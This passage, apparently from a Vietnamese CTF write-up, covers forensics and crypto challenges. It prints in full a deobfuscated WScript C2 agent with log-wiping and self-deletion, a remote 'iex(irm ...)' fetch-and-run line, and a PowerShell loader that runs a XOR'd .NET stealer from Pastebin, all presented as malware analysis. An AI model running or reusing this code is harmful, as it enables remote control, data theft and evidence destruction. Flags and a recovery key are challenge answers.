streams.setdefault(prefix, []).append((ts, hexpart))
return streams
def derive_key_iv(secret: bytes):
h = hashlib.sha256(secret).digest()
return h[:16], h[16:32]
def decrypt_stream(hex_chunks, key, iv):
ct = unhexlify(''.join(hex_chunks))
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(ct)
return pkcs7_unpad(pt)
def main():
in_file = find_input_file()
if in_file is None:
return
streams = extract_fragments(in_file)
key, iv = derive_key_iv(APP_SECRET)
for prefix, entries in streams.items():
if not entries:
continue
# order by timestamp
entries.sort(key=lambda x: x[0])
# deduplicate adjacent identical fragments
deduped = []
last = None
for ts, h in entries:
if h == last:
continue
deduped.append(h)
last = h
total_hex = ''.join(deduped)
# ensure ciphertext length in bytes is a multiple of AES block size
if len(total_hex) % 32 != 0:
continue
plaintext = decrypt_stream(deduped, key, iv)
text = plaintext.decode('utf-8', errors='ignore')
if not text:
continue
m = re.search(r"(CSCV2025\{[^}]+\})", text)
if not m:
m = re.search(r"([A-Za-z0-9_-]{2,32}\{[^}]{4,256}\})", text)
if m:
print(m.group(1))
return
if __name__ == '__main__':
main()
NostalgiaS
Phân tích bằng chứng
Giải nén file zip đề bài cho, có được một file .ad1:
Với dạng file này mình sẽ sử dụng FTK Imager để kiểm tra nội dung. File này là dump của ổ đĩa C:\, kiểm tra folder Users phát hiện đây là máy của người dùng có tên Mr. Kadoya. Tiến hành kiểm tra AppData để xem có gì thú vị không:

Trong quá trình kiểm tra, phát hiện ra folder Outlook chứa các file .ost có thể được sử dụng để đọc nội dung các email đã được gửi đến:
Phân tích Outlook
Tiến hành đọc mail, phát hiện ra có một email có một tập tin đính kèm là Moly.zip:

Sau khi tải xuống và giải nén, có được một file .svg:

Phân tích file SVG
Tiến hành đọc các chuỗi có trong file bằng công cụ strings, phát hiện nhiều chuỗi đã được encode Base64, tuy nhiên các blob này hầu hết là icons và hình ảnh:
Ở phần đầu của file này có chứa một đoạn JavaScript có khả năng tải một payload từ GitHub Gist và thực thi payload này:

Payload này có dạng giống như một file SVG đã được thấy trước đó, tuy nhiên phát hiện 1 URL được gán vào biến logo tương đối khả nghi:

Tiến hành đọc file này, phát hiện đây là một đoạn code JS đã bị obfuscated, với đoạn code này có thể sử dụng công cụ deobfuscate tại https://obf-io.deobfuscate.io/ và có được kết quả.
Phân tích mã độc JS
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var http = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
function toISOString(_0x157c85) {
return _0x157c85.getUTCFullYear() + '-' + (_0x157c85.getUTCMonth() + 0x1 < 0xa ? '0' + (_0x157c85.getUTCMonth() + 0x1) : _0x157c85.getUTCMonth() + 0x1) + '-' + (_0x157c85.getUTCDate() < 0xa ? '0' + _0x157c85.getUTCDate() : _0x157c85.getUTCDate()) + 'T' + (_0x157c85.getUTCHours() < 0xa ? '0' + _0x157c85.getUTCHours() : _0x157c85.getUTCHours()) + ':' + (_0x157c85.getUTCMinutes() < 0xa ? '0' + _0x157c85.getUTCMinutes() : _0x157c85.getUTCMinutes()) + ':' + (_0x157c85.getUTCSeconds() < 0xa ? '0' + _0x157c85.getUTCSeconds() : _0x157c85.getUTCSeconds()) + '.' + String((_0x157c85.getUTCMilliseconds() / 0x3e8).toFixed(0x3)).slice(0x2, 0x5) + 'Z';
}
function getCurrentDirectory() {
try {
return fso.GetParentFolderName(WScript.ScriptFullName);
} catch (_0x2d9569) {
return shell.CurrentDirectory;
}
}
function generateTaskId() {
var _0x2f64a5 = new Date().getTime();
var _0x43d5c3 = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (_0x596251) {
var _0x1e8dab = (_0x2f64a5 + Math.random() * 0x10) % 0x10 | 0x0;
_0x2f64a5 = Math.floor(_0x2f64a5 / 0x10);
return (_0x596251 == 'x' ? _0x1e8dab : _0x1e8dab & 0x3 | 0x8).toString(0x10);
});
return _0x43d5c3;
}
function generateRandomString(_0xbe729e) {
var _0x296f50 = '';
for (var _0x2e33ab = 0x0; _0x2e33ab < _0xbe729e; _0x2e33ab++) {
_0x296f50 += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(Math.random() * "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".length));
}
return _0x296f50;
}
function registryKeyExists() {
try {
return true;
} catch (_0xf69078) {
return false;
}
}
function initializeRegistry() {
try {
if (!registryKeyExists()) {
var _0x1fc109 = generateRandomString(0x8);
shell.RegWrite("HKCU\\SOFTWARE\\hensh1n\\", _0x1fc109, "REG_SZ");
return true;
} else {
return false;
}
} catch (_0x436eaa) {
return false;
}
}
function getHostname() {
try {
return shell.ExpandEnvironmentStrings("%COMPUTERNAME%");
} catch (_0x484e2d) {
return "Unknown";
}
}
function getPublicIP() {
try {
var _0x3e8f75 = new ActiveXObject('MSXML2.ServerXMLHTTP.6.0');
_0x3e8f75.open('GET', "https://api.ipify.org?format=text", false);
_0x3e8f75.setRequestHeader('User-Agent', 'Mozilla/5.0');
_0x3e8f75.send();
return _0x3e8f75.responseText;
} catch (_0x5bdd77) {
return 'Unknown';
}
}
function getDomain() {
try {
var _0x8a5efc = shell.ExpandEnvironmentStrings("%USERDOMAIN%");
if (_0x8a5efc === "%USERDOMAIN%" || _0x8a5efc === getHostname()) {
return "WORKGROUP";
}
return _0x8a5efc;
} catch (_0x1f1c18) {
return "Unknown";
}
}
function getOperatingSystem() {
try {
var _0x41371b = GetObject("winmgmts:\\\\.\\root\\cimv2");
var _0x4af3cc = new Enumerator(_0x41371b.ExecQuery("SELECT * FROM Win32_OperatingSystem"));
if (!_0x4af3cc.atEnd()) {
var _0x299683 = _0x4af3cc.item();
return {
'name': _0x299683.Caption,
'version': _0x299683.Version,
'architecture': _0x299683.OSArchitecture
};
}
} catch (_0x2575a8) {
return {
'name': "Unknown",
'version': "Unknown",
'architecture': "Unknown"
};
}
}
function escapeJSON(_0x1587c2) {
var _0x19acbd = '';
for (var _0x1aec83 = 0x0; _0x1aec83 < _0x1587c2.length; _0x1aec83++) {
var _0x2b4cd2 = _0x1587c2.charAt(_0x1aec83);
switch (_0x2b4cd2) {
case "\\":
_0x19acbd += "\\\\";
break;
case "\"":
_0x19acbd += "\\\"";
break;
case "\n":
_0x19acbd += "\\n";
break;
case "\r":
_0x19acbd += "\\r";
break;
case "\t":
_0x19acbd += "\\t";
break;
case "\b":
_0x19acbd += "\\b";
break;
case "\f":
_0x19acbd += "\\f";
break;
default:
_0x19acbd += _0x2b4cd2;
}
}
return _0x19acbd;
}
function simpleJSONStringify(_0x7189e9) {
var _0xb35e3 = '{';
var _0x23d6ec = true;
for (var _0x29bb6f in _0x7189e9) {
if (_0x7189e9.hasOwnProperty(_0x29bb6f)) {
if (!_0x23d6ec) {
_0xb35e3 += ',';
}
_0x23d6ec = false;
_0xb35e3 += "\"" + escapeJSON(_0x29bb6f) + "\":";
var _0x4ff2b8 = _0x7189e9[_0x29bb6f];
if (typeof _0x4ff2b8 === "string") {
_0xb35e3 += "\"" + escapeJSON(_0x4ff2b8) + "\"";
} else {
if (typeof _0x4ff2b8 === 'number' || typeof _0x4ff2b8 === "boolean") {
_0xb35e3 += _0x4ff2b8;
} else {
if (_0x4ff2b8 === null || _0x4ff2b8 === undefined) {
_0xb35e3 += "null";
} else {
if (typeof _0x4ff2b8 === "object") {
if (_0x4ff2b8 instanceof Array) {
_0xb35e3 += '[';
for (var _0x2b47da = 0x0; _0x2b47da < _0x4ff2b8.length; _0x2b47da++) {
if (_0x2b47da > 0x0) {
_0xb35e3 += ',';
}
if (typeof _0x4ff2b8[_0x2b47da] === 'object') {
_0xb35e3 += simpleJSONStringify(_0x4ff2b8[_0x2b47da]);
} else if (typeof _0x4ff2b8[_0x2b47da] === 'string') {
_0xb35e3 += "\"" + escapeJSON(_0x4ff2b8[_0x2b47da]) + "\"";
} else {
_0xb35e3 += _0x4ff2b8[_0x2b47da];
}
}
_0xb35e3 += ']';
} else {
_0xb35e3 += simpleJSONStringify(_0x4ff2b8);
}
}
}
}
}
}
}
_0xb35e3 += '}';
return _0xb35e3;
}
function executePowerShell(_0x10c8c8, _0x127e9d) {
try {
if (!_0x127e9d) {
_0x127e9d = 0x1e;
}
var _0x514142 = "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" + _0x10c8c8.replace(/"/g, "\\\"") + "\"";
var _0xf1796 = shell.Exec(_0x514142);
var _0x5cd9e3 = '';
var _0x365d63 = 0x0;
var _0x442bda = _0x127e9d * 0x3e8;
while (_0xf1796.Status === 0x0 && _0x365d63 < _0x442bda) {
WScript.Sleep(0x64);
_0x365d63 += 0x64;
}
if (_0xf1796.Status === 0x0) {
_0xf1796.Terminate();
return {
'success': false,
'output': '',
'error': "Command timed out after " + _0x127e9d + " seconds",
'exitCode': -0x1
};
}
if (!_0xf1796.StdOut.AtEndOfStream) {
_0x5cd9e3 = _0xf1796.StdOut.ReadAll();
}
var _0x58ab3a = '';
if (!_0xf1796.StdErr.AtEndOfStream) {
_0x58ab3a = _0xf1796.StdErr.ReadAll();
}
return {
'success': true,
'output': _0x5cd9e3,
'error': _0x58ab3a,
'exitCode': _0xf1796.ExitCode
};
} catch (_0x3f214c) {
return {
'success': false,
'output': '',
'error': _0x3f214c.message,
'exitCode': -0x1
};
}
}
function collectDomainInfo() {
var _0x50b738 = [{
'cmd': "Get-WmiObject -Class Win32_ComputerSystem | Select-Object Name, Domain, DomainRole | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, OSArchitecture | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_UserAccount -Filter \"LocalAccount='True'\" | Select-Object Name, Disabled, Description | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_Group -Filter \"LocalAccount='True'\" | Select-Object Name, Description | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, StartMode -First 100 | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter \"IPEnabled='True'\" | Select-Object Description, IPAddress, MACAddress | ConvertTo-Json",
'timeout': 0xa
}, {
'cmd': "Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor -First 50 | ConvertTo-Json",
'timeout': 0x14
}];
var _0x2fd83b = [];
for (var _0x32b061 = 0x0; _0x32b061 < _0x50b738.length; _0x32b061++) {
var _0x437bac = executePowerShell(_0x50b738[_0x32b061].cmd, _0x50b738[_0x32b061].timeout);
_0x2fd83b.push({
'command': _0x50b738[_0x32b061].cmd,
'output': _0x437bac.output,
'error': _0x437bac.error,
'exitCode': _0x437bac.exitCode
});
WScript.Sleep(0xc8);
}
return _0x2fd83b;
}
function clearEventLogsAndHistory() {
var _0x3ad6a1 = [{
'cmd': "wevtutil cl System",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl Application",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl Security",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl Setup",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl 'Windows PowerShell'",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl 'Microsoft-Windows-PowerShell/Operational'",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl 'Microsoft-Windows-PowerShell/Admin'",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl 'Microsoft-Windows-WinRM/Operational'",
'timeout': 0x1e
}, {
'cmd': "wevtutil cl 'Microsoft-Windows-TaskScheduler/Operational'",
'timeout': 0x1e
}, {
'cmd': "Remove-Item -Path '$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt' -Force -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Remove-Item -Path '$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\*' -Force -Recurse -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Clear-History -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Remove-Item -Path '$env:APPDATA\\Microsoft\\Windows\\Recent\\*' -Force -Recurse -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Remove-Item -Path '$env:APPDATA\\Microsoft\\Office\\Recent\\*' -Force -Recurse -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Remove-Item -Path 'C:\\Windows\\Prefetch\\*' -Force -ErrorAction SilentlyContinue",
'timeout': 0xf
}, {
'cmd': "Remove-Item -Path '$env:TEMP\\*' -Force -Recurse -ErrorAction SilentlyContinue",
'timeout': 0x14
}, {
'cmd': "Remove-Item -Path 'C:\\Windows\\Temp\\*' -Force -Recurse -ErrorAction SilentlyContinue",
'timeout': 0x14
}, {
'cmd': "Remove-Item -Path '$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\History*' -Force -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Remove-Item -Path '$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\\History*' -Force -ErrorAction SilentlyContinue",
'timeout': 0xa
}, {
'cmd': "Stop-Service -Name 'WSearch' -Force -ErrorAction SilentlyContinue; Remove-Item -Path 'C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*' -Force -Recurse -ErrorAction SilentlyContinue; Start-Service -Name 'WSearch' -ErrorAction SilentlyContinue",
'timeout': 0x1e
}];
var _0x43d72e = [];
for (var _0x9fc245 = 0x0; _0x9fc245 < _0x3ad6a1.length; _0x9fc245++) {
var _0x26766c = executePowerShell(_0x3ad6a1[_0x9fc245].cmd, _0x3ad6a1[_0x9fc245].timeout);
_0x43d72e.push({
'command': _0x3ad6a1[_0x9fc245].cmd,
'success': _0x26766c.exitCode === 0x0,
'output': _0x26766c.output,
'error': _0x26766c.error
});
WScript.Sleep(0x1f4);
}
return _0x43d72e;
}
function selfDestruct() {
try {
var _0x8bdeda = getCurrentDirectory();
var _0x456dc0 = shell.ExpandEnvironmentStrings("%TEMP%") + "\\cleanup_" + new Date().getTime() + '.bat';
var _0x4112a8 = fso.CreateTextFile(_0x456dc0, true);
_0x4112a8.WriteLine("@echo off");
_0x4112a8.WriteLine("timeout /t 2 /nobreak > nul");
var _0x479644 = fso.GetFolder(_0x8bdeda);
var _0x3e5af6 = new Enumerator(_0x479644.Files);
for (; !_0x3e5af6.atEnd(); _0x3e5af6.moveNext()) {
var _0x2c8b58 = _0x3e5af6.item();
_0x4112a8.WriteLine("del /f /q /a \"" + _0x2c8b58.Path + "\"");
}
_0x4112a8.WriteLine("del /f /q \"%~f0\"");
_0x4112a8.Close();
shell.Run("cmd.exe /c \"" + _0x456dc0 + "\"", 0x0, false);
WScript.Quit();
} catch (_0x9a9eb6) {}
}
function sendToServer(_0x32d962, _0x49d14e) {
var _0x23389c = "http://192.168.11.1:3000" + _0x32d962;
try {
http.open('POST', _0x23389c, false);
http.setRequestHeader("Content-Type", 'application/json');
http.setRequestHeader("User-Agent", "C2-Agent/1.0");
var _0x390e5d = simpleJSONStringify(_0x49d14e);
http.send(_0x390e5d);
if (http.status === 0xc8) {
var _0x56a4ad = eval('(' + http.responseText + ')');
return {
'success': true,
'response': _0x56a4ad
};
} else {
return {
'success': false,
'error': "HTTP " + http.status
};
}
} catch (_0x2d87a0) {
return {
'success': false,
'error': _0x2d87a0.message
};
}
}
function checkIn() {
var _0x5b04fc = generateTaskId();
var _0x4cc603 = getOperatingSystem();
var _0x2c46da = {
'taskId': _0x5b04fc,
'hostname': getHostname(),
'publicIP': getPublicIP(),
'domain': getDomain(),
'operatingSystem': _0x4cc603.name,
'osVersion': _0x4cc603.version,
'osArchitecture': _0x4cc603.architecture,
'currentDirectory': getCurrentDirectory(),
'timestamp': new Date().getUTCFullYear() + '-' + (new Date().getUTCMonth() + 0x1 < 0xa ? '0' + (new Date().getUTCMonth() + 0x1) : new Date().getUTCMonth() + 0x1) + '-' + (new Date().getUTCDate() < 0xa ? '0' + new Date().getUTCDate() : new Date().getUTCDate()) + 'T' + (new Date().getUTCHours() < 0xa ? '0' + new Date().getUTCHours() : new Date().getUTCHours()) + ':' + (new Date().getUTCMinutes() < 0xa ? '0' + new Date().getUTCMinutes() : new Date().getUTCMinutes()) + ':' + (new Date().getUTCSeconds() < 0xa ? '0' + new Date().getUTCSeconds() : new Date().getUTCSeconds()) + '.' + String((new Date().getUTCMilliseconds() / 0x3e8).toFixed(0x3)).slice(0x2, 0x5) + 'Z'
};
return sendToServer('/api/agent/checkin', _0x2c46da);
}
function processCommand(_0x3ee315) {
if (!_0x3ee315 || !_0x3ee315.taskid || !_0x3ee315.optionid) {
return;
}
switch (_0x3ee315.optionid) {
case 0x1:
var _0x6f0e5f = executePowerShell("iex(irm 'https://gist.githubusercontent.com/oumazio/fdd0b2711ab501b30b53039fa32bc9ca/raw/ca4f9da41c5c64b3b43f4b0416f8ee0d0e400803/secr3t.txt')");
sendToServer("/api/agent/result", {
'taskid': _0x3ee315.taskid,
'optionid': 0x1,
'url': "https://gist.githubusercontent.com/oumazio/fdd0b2711ab501b30b53039fa32bc9ca/raw/ca4f9da41c5c64b3b43f4b0416f8ee0d0e400803/secr3t.txt",
'command': "iex(irm 'https://gist.githubusercontent.com/oumazio/fdd0b2711ab501b30b53039fa32bc9ca/raw/ca4f9da41c5c64b3b43f4b0416f8ee0d0e400803/secr3t.txt')",
'output': _0x6f0e5f.output,
'error': _0x6f0e5f.error,
'exitCode': _0x6f0e5f.exitCode
});
break;
case 0x2:
var _0x38ddeb = collectDomainInfo();
sendToServer("/api/agent/result", {
'taskid': _0x3ee315.taskid,
'optionid': 0x2,
'domainInfo': _0x38ddeb
});
break;
case 0x3:
sendToServer("/api/agent/result", {
'taskid': _0x3ee315.taskid,
'optionid': 0x3,
'message': "Self-destruct initiated"
});
selfDestruct();
break;
case 0x4:
var _0x1ca764 = clearEventLogsAndHistory();
sendToServer("/api/agent/result", {
'taskid': _0x3ee315.taskid,
'optionid': 0x4,
'message': "Event logs and PowerShell history clearing completed",
'results': _0x1ca764
});
break;
}
}
function main() {
initializeRegistry();
var _0x4da710 = checkIn();
if (_0x4da710.success) {
if (_0x4da710.response && _0x4da710.response.command) {
processCommand(_0x4da710.response.command);
}
}
while (true) {
WScript.Sleep(0x1388);
var _0x4ea1d9 = sendToServer("/api/agent/poll", {
'taskId': generateTaskId(),
'hostname': getHostname()
});
if (_0x4ea1d9.success && _0x4ea1d9.response && _0x4ea1d9.response.command) {
processCommand(_0x4ea1d9.response.command);
}
}
}
try {
main();
} catch (_0x2f3530) {}
Đây là một C2 agent được viết bằng WScript. Về hành vi, C2 agent này thực hiện:
- Sinh ra ID cho máy bị nhiễm trong HKCU registry hive
- Thu thập thông tin về hệ thống và kết nối mạng
- Thực hiện check-in về C2 server đã được hardcode, sau đó sử dụng cơ chế polling để nhận lệnh và thực thi các nhiệm vụ (bao gồm thực thi PowerShell), sau đó trả kết quả về C2 server
- Agent có khả năng thực thi các tác vụ anti-forensics (xóa logs, history); đồng thời có cơ chế tự ngắt mã độc.
Một số IOC thu thập được:
- C2 server:
hxxp[://]192[.]168[.]11[.]1:3000 - Endpoints:
/api/agent/checkin,/api/agent/poll,/api/agent/result - Registry:
HKCU\\SOFTWARE\\hensh1n\\ - Remote PowerShell pattern:
iex(irm 'hxxps[://]gist[.]githubusercontent[.]com/oumazio/fdd0b2711ab501b30b53039fa32bc9ca/raw/ca4f9da41c5c64b3b43f4b0416f8ee0d0e400803/secr3t[.]txt')
Phân tích mã độc PowerShell
Trong C2 agent trên, có chứa 1 powershell script, tiến hành đọc script và thấy nội dung sau:
Iex(neW-obJecT iO.cOMPrESsion.DeflaTEStreAM([iO.meMORysTrEAM] [convErt]::FroMbase64sTrInG('hVNhb9owE<REDACTED>ZpOMPwP' ) ,[SYSTeM.io.comPRESsion.COmPRessiONmODe]::DECompResS) |FOReach-oBJeCt{ neW-obJecT SyStEM.Io.STreAmREaDeR( $_,[TEXT.EncOdiNG]::ascIi ) }| FOreacH-objeCT{$_.rEAdToeND( ) })
Dễ thấy script này thực hiện decode Base64 một blob lớn, sau đó thực hiện inflate, lúc này sẽ thu được một đoạn mã PowerShell khác, tiến hành thực thi. Khi giải mã script này, mình thu được đoạn code sau:
$AssemblyUrl = "https://pastebin.com/raw/90qeYSHA"
$XorKey = 0x24
$TypeName = "StealerJanai.core.RiderKick"
$MethodName = "Run"
try {
$WebClient = New-Object System.Net.WebClient
$encodedContent = $WebClient.DownloadString($AssemblyUrl)
$WebClient.Dispose()
$hexValues = $encodedContent.Trim() -split ',' | Where-Object { $_ -match '^0x[0-9A-Fa-f]+$' }
$encodedBytes = New-Object byte[] $hexValues.Length
for ($i = 0; $i -lt $hexValues.Length; $i++) {
$encodedBytes[$i] = [Convert]::ToByte($hexValues[$i].Trim(), 16)
}
$originalBytes = New-Object byte[] $encodedBytes.Length
for ($i = 0; $i -lt $encodedBytes.Length; $i++) {
$originalBytes[$i] = $encodedBytes[$i] -bxor $XorKey
}
$assembly = [System.Reflection.Assembly]::Load($originalBytes)
if ($TypeName -ne "" -and $MethodName -ne "") {
$targetType = $assembly.GetType($TypeName)
$methodInfo = $targetType.GetMethod($MethodName, [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public)
$methodInfo.Invoke($null, $null)
}
} catch {
exit 1
}
Script thực hiện các chức năng sau:
- Tải xuống một blob hexadecimal tại
https://pastebin.com/raw/90qeYSHA. Đáng chú ý, blob này ngăn cách các byte bằng dấu phẩy. - Tiến hành split các hexadecimal value bằng dấu phẩy, sau đó chuyển hex -> byte.
- Giải mã: Thực hiện phép XOR mỗi byte với key
0x24để thu được bytecode gốc. - Tiến hành load các byte này như một .NET Assembly với
([System.Reflection.Assembly]::Load), sau đó tìm kiếm classStealerJanai.core.RiderKickvà gọi hàmRuncủa class này.
Một số IOC thu thập được ở bước này:
- URL:
hxxps[://]pastebin[.]com/raw/90qeYSHA - String:
StealerJanai.core.RiderKick,Run
Phân tích payload .NET
Sau khi XOR payload thu được từ Pastebin, mình có được 1 file .NET executable:

Sử dụng dnSpy để decompile file này, mình thu được mã nguồn, qua quá trình triage phát hiện chuỗi "hensh1n" được sử dụng trong mã nguồn này:

Tiến hành trace đến hàm sử dụng chuỗi này, phát hiện 1 class SystemSecretInformationCollector có dấu hiệu khả nghi khi thực hiện giải mã 2 chuỗi đã bị encode Base62.

Tiến hành sử dụng logic trong hàm để giải mã 2 chuỗi Base62 kia thu thập được 2 mảnh của flag:
CSCV2025{your_computer_has_be3n_kicked_by
Từ đoạn code, có thể suy ra được format của flag như sau:
CSCV2025{your_computer_<DESKTOP NAME>_has_be3n_kicked_by_<hensh1n_registryValue>}
Dựa vào system log tại file System.evtx, mình thu thập được tên của máy:

Dựa vào file NTUSER.DAT tại thư mục của người dùng, mình có thể đọc được HKEY_CURRENT_USER, từ đó đọc được giá trị của registry key trong thư mục hensh1n:

Flag cuối cùng là:
CSCV2025{your_computer_DESKTOP-47ICHL6_has_be3n_kicked_byHxrYJgdu}
Case AlphaS
Phân tích bằng chứng
Giải nén file zip đề bài cho, có được một disk image .ad1, một file .pdf, và một ổ đĩa ngoài .vhdk.
Với dạng file này mình sẽ sử dụng FTK Imager để kiểm tra nội dung. Đầu tiên đọc file .pdf để nắm sơ bộ về tình huống.
Mục tiêu là mở khóa ổ đĩa ngoài được mã hóa BitLocker - file .vhdk. Tiến hành kiểm tra disk image để xem có gì thú vị.
Dữ liệu ChatGPT và Simplenote
Lướt qua các file, phát hiện trong thư mục Downloads có:
ChatGPT Installer.exeFirefox Installer.exeGit-2.51.0.2-64-bit.exeSimplenote Installer.exeVSCodeUserSetup-x64-1.104.2.exe
Suy nghĩ đầu tiên là khóa khôi phục có thể được lưu trong ứng dụng Simplenote. Vì vậy mình bắt đầu tìm kiếm dữ liệu lưu trữ cục bộ của ứng dụng này. Ban đầu không tìm thấy tài liệu nào về việc nó lưu dữ liệu ở đâu, nhưng sau khi tìm kiếm ổ đĩa, mình đã tìm thấy tại Users\windows\AppData\Packages. Ở đó xác định được dữ liệu của cả Simplenote và ChatGPT.
Khóa khôi phục BitLocker
Đào sâu vào thư mục ChatGPT, mình truy cập được lịch sử chat có chứa khóa khôi phục BitLocker.
028853-431640-166364-032076-217943-045837-542388-281017
Tiến hành mở khóa ổ đĩa ngoài, phát hiện một file .zip được bảo vệ bằng mật khẩu.
Mật khẩu file Zip
Nghĩ rằng mật khẩu có thể nằm trong ghi chú, mình quay lại và tìm thấy dữ liệu Simplenote, và đã tìm thấy thứ cần thiết.
5525b8d2d8534b716467493f3660b11e1c44b22cd0c97275619b94a0e5c82fda
Giải nén file này, có được:
Truy cập Pastebin, thu thập được flag.
CSCV2025{h3Y_Th!s_|5_jUs7_tH3_bE9IN|\|iNg_dc8fb5bdedd10877}
Cách giải khác
Đào sâu thêm một chút, mình tìm thấy thư mục VMware DnD trong %TEMP% có chứa một file zip tên là secret.zip được bảo vệ bằng mật khẩu. Tìm hiểu về folder này, mình phát hiện đây là thư mục tạm của quá trình copy file từ host vào máy ảo của phần mềm VMware Workstation.
Đây chính là file zip được lưu trong ổ đĩa bị khóa, điều này cho phép bỏ qua bước phải kiểm tra dữ liệu ChatGPT.
Các challenge Crypto
Flag Keepers
Write-up được viết bởi: Vũ Hưng Tùng (SirJames) - sinh viên ngành An toàn không gian số K69.
Phân tích challenge
Challenge cho mình một file app.py có nội dung như sau:
from os import urandom
from Crypto.Cipher import AES
from ecdsa import SigningKey, NIST384p
from hashlib import sha256
sk = SigningKey.generate(curve=NIST384p)
vk = sk.verifying_key
idx = 0
class Server:
def __init__(self):
self.key = urandom(16)
pass
def key_rotation(self):
global idx
idx = (idx + 16) % 256
self.key = urandom(16)
print("current Server key: ", self.key.hex())
def decrypt(self, enc_msg):
key = self.key
nonce = enc_msg[:12]
ct = enc_msg[12:-16]
tag = enc_msg[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
msg = cipher.decrypt_and_verify(ct, tag)
return msg
def sign(self, enc_msg):
msg = self.decrypt(enc_msg)
if b'admin = True' in msg:
raise ValueError("You are not allowed to sign admin messages!")
if b'admin = False' not in msg[idx:idx+16]:
raise ValueError("Invalid message format!")
return sk.sign(enc_msg, hashfunc=sha256)
class FlagKeeper:
def __init__(self, flag):
self.flag = flag
self.key = urandom(16)
def key_rotation(self):
global idx
idx = (idx-16) % 256
self.key = urandom(16)
print("current FlagKeeper key: ", self.key.hex())
def get_flag(self, enc_msg, signature):
try:
vk.verify(signature, enc_msg, hashfunc=sha256)
except:
raise ValueError("Invalid signature!")
key = self.key
nonce = enc_msg[:12]
ct = enc_msg[12:-16]
tag = enc_msg[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
msg = cipher.decrypt_and_verify(ct, tag)
if b'admin = True' in msg[:idx] and b'admin = False' not in msg:
return self.flag
else:
return b'No flag for you!'
def main():
flag = open("flag.txt", "rb").read().strip()
fk = FlagKeeper(flag)
server = Server()
print("Welcome to the secure server!")
print("You can use the following services:")
print("1. Rotate Server's keys ")
print("2. Rotate FlagKeeper's keys ")
print("3. Sign a message (except admin = True)")
print("4. Get the flag (only if your message contains admin = True)")
print("5. Exit")
for _ in range(5):
try:
choice = int(input("Enter your choice: "))
if choice == 1:
server.key_rotation()
elif choice == 2:
fk.key_rotation()
elif choice == 3:
enc_msg = bytes.fromhex(input("Enter the encrypted message (in hex): "))
signature = server.sign(enc_msg)
print("Signature (in hex):", signature.hex())
elif choice == 4:
enc_msg = bytes.fromhex(input("Enter the encrypted message (in hex): "))
signature = bytes.fromhex(input("Enter the signature (in hex): "))
flag = fk.get_flag(enc_msg, signature)
print("Flag:", flag.decode())
elif choice == 5:
print("Goodbye!")
break
else:
print("Invalid choice!")
except Exception as e:
print("Error:", str(e))
if __name__ == "__main__":
main()
Về tổng quan, ta có:
- Một "Server" và một "Flag Keeper" với khóa tương ứng
k_svàk_f- Server:
- Giải mã và xác minh bản mã
enc_msgđã cho bằng khóa AES-GCMk_s - Kiểm tra xem bản rõ
msgKHÔNG chứab'admin = True'và CÓ chứa b'admin = False' trong msg[idx:idx+16] hay không - Ký các byte bản mã
sk.sign(enc_msg, hashfunc=sha256)
- Giải mã và xác minh bản mã
- Flag Keeper:
- Xác minh chữ ký trên các byte văn bản mã hóa
sk.verify(signature, enc_msg, hashfunc=sha256) - Giải mã và xác minh bản mã bằng khóa AES-GCM
k_f - Trả về cờ nếu bản rõ
msgCÓ chứab'admin = True'trongmsg[:idx]và KHÔNG chứab'admin = False'
- Xác minh chữ ký trên các byte văn bản mã hóa
- Server:
idxlà một chỉ số toàn cục được thực hiện dưới modulo 256 khi ta gọi hàmkey_rotation()- Server: thêm 16
idx = (idx + 16) % 256 - FlagKeeper: bớt 16
idx = (idx-16) % 256
- Server: thêm 16
- Hàm
key_roration()cho phép chúng ta khởi tạo và rò rỉ cả hai khóak_svàk_f
AES-GCM (Xem thêm SP800-38D)
Về AES-GCM (chủ yếu về tag):
- Khóa con GHASH
H = AES(K, 0) J0 = GHASH(nonce || 1<<32)nếu nonce là 96 bit- Vậy tag
T = GHASH(A, C XOR AES(J0)trong đóAlà AAD,Clà bản mã - Với 2 khóa khác nhau
k_svàk_f, cùng(nonce, C, T)hợp lệ với cả hai nếu và chỉ khi:
